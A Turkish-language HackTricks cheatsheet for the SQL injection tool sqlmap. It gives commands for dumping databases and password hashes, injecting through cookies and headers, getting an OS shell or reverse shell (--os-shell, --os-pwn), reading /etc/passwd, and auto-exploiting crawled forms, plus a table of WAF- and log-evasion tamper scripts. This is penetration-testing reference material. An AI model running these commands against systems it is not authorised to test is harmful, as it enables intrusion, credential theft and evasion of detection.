SQLMap - Cheatsheet

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

SQLmap için Temel Argümanlar

Genel

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Bilgi Alımı

Dahili

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB verileri

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

SQLMapping kullanarak, SQLMap için hem temel hem de ileri düzey komutlar üreten ve kapsamlı bir genel bakış sağlayan pratik bir araçtır. Araçtaki her bir yönü açıklayan ToolTip'ler içerir, böylece her seçeneği detaylandırarak onu verimli ve etkili bir şekilde nasıl kullanacağınızı geliştirebilir ve anlayabilirsiniz.

Enjeksiyon yeri

Burp/ZAP yakalamasından

İsteği yakalayın ve bir req.txt dosyası oluşturun.

bash
sqlmap -r req.txt --current-user

GET İsteği Enjeksiyonu

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST İsteği Enjeksiyonu

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Başlıklardaki ve Diğer HTTP Yöntemlerindeki Enjeksiyonlar

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Enjeksiyon başarılı olduğunda dizeyi belirtin

bash
--string="string_showed_when_TRUE"

Eval

Sqlmap, her yükü göndermeden önce bazı python oneliner ile işlemek için -e veya --eval kullanımına izin verir. Bu, yükü göndermeden önce özel yollarla işlemek için çok kolay ve hızlı hale getirir. Aşağıdaki örnekte flask cookie session göndermeden önce flask tarafından bilinen bir gizli anahtarla imzalanmıştır:

bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Dosya Oku

bash
--file-read=/etc/passwd

SQLmap ile bir web sitesini tarayın ve otomatik olarak istismar edin

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

İkinci Derece Enjeksiyon

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Bu yazıyı okuyun sqlmap ile basit ve karmaşık ikinci derece enjeksiyonların nasıl gerçekleştirileceği hakkında.

Enjeksiyonu Özelleştirme

Bir ek ayarlayın

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Önek

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Boolean enjeksiyonu bulmaya yardım

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Unutmayın ki kendi tamper'ınızı python ile oluşturabilirsiniz ve bu çok basit. Bir tamper örneğini İkinci Derece Enjeksiyon sayfasında burada bulabilirsiniz.

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperAçıklama
apostrophemask.pyApostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir
apostrophenullencode.pyApostrof karakterini yasadışı çift unicode karşılığı ile değiştirir
appendnullbyte.pyPayload'un sonuna kodlanmış NULL byte karakteri ekler
base64encode.pyVerilen payload'daki tüm karakterleri Base64 ile kodlar
between.py'>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir
bluecoat.pySQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir
chardoubleencode.pyVerilen payload'daki tüm karakterleri çift url-encode eder (zaten kodlanmış olanları işlemez)
commalesslimit.py'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir
commalessmid.py'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir
concat2concatws.py'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir
charencode.pyVerilen payload'daki tüm karakterleri url-encode eder (zaten kodlanmış olanları işlemez)
charunicodeencode.pyVerilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlemez). "%u0022"
charunicodeescape.pyVerilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlemez). "\u0022"
equaltolike.pyEşit ('=') operatörünün tüm örneklerini 'LIKE' operatörü ile değiştirir
escapequotes.pyAlıntı işaretlerini (' ve ") ters eğik çizgi ile kaçırır
greatest.py'>' operatörünü 'GREATEST' karşılığı ile değiştirir
halfversionedmorekeywords.pyHer anahtar kelimenin önüne versiyonlu MySQL yorumu ekler
ifnull2ifisnull.py'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir
modsecurityversioned.pyTam sorguyu versiyonlu yorum ile sarar
modsecurityzeroversioned.pyTam sorguyu sıfır versiyonlu yorum ile sarar
multiplespaces.pySQL anahtar kelimelerinin etrafına birden fazla boşluk ekler
nonrecursivereplacement.pyÖnceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir (örneğin, .replace("SELECT", "")) filtreleri
percentage.pyHer karakterin önüne bir yüzde işareti ('%') ekler
overlongutf8.pyVerilen payload'daki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemez)
randomcase.pyHer anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir
randomcomments.pySQL anahtar kelimelerine rastgele yorumlar ekler
securesphere.pyÖzel olarak hazırlanmış bir dize ekler
sp_password.pyPayload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmek için
space2comment.pyBoşluk karakterini (' ') yorumlarla değiştirir
space2dash.pyBoşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler
space2hash.pyBoşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler
space2morehash.pyBoşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler
space2mssqlblank.pyBoşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir
space2mssqlhash.pyBoşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler
space2mysqlblank.pyBoşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir
space2mysqldash.pyBoşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından yeni bir satır ('\n') ekler
space2plus.pyBoşluk karakterini (' ') artı ('+') ile değiştirir
space2randomblank.pyBoşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir
symboliclogical.pyAND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir (&& ve
unionalltounion.pyUNION ALL SELECT'i UNION SELECT ile değiştirir
unmagicquotes.pyAlıntı karakterini (') çok baytlı bir kombinasyon %bf%27 ile değiştirir ve sonunda genel bir yorum ekler (çalışması için)
uppercase.pyHer anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir
varnish.pyBir HTTP başlığı 'X-originating-IP' ekler
versionedkeywords.pyHer işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar
versionedmorekeywords.pyHer anahtar kelimeyi versiyonlu MySQL yorumu ile sarar
xforwardedfor.pySahte bir HTTP başlığı 'X-Forwarded-For' ekler

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin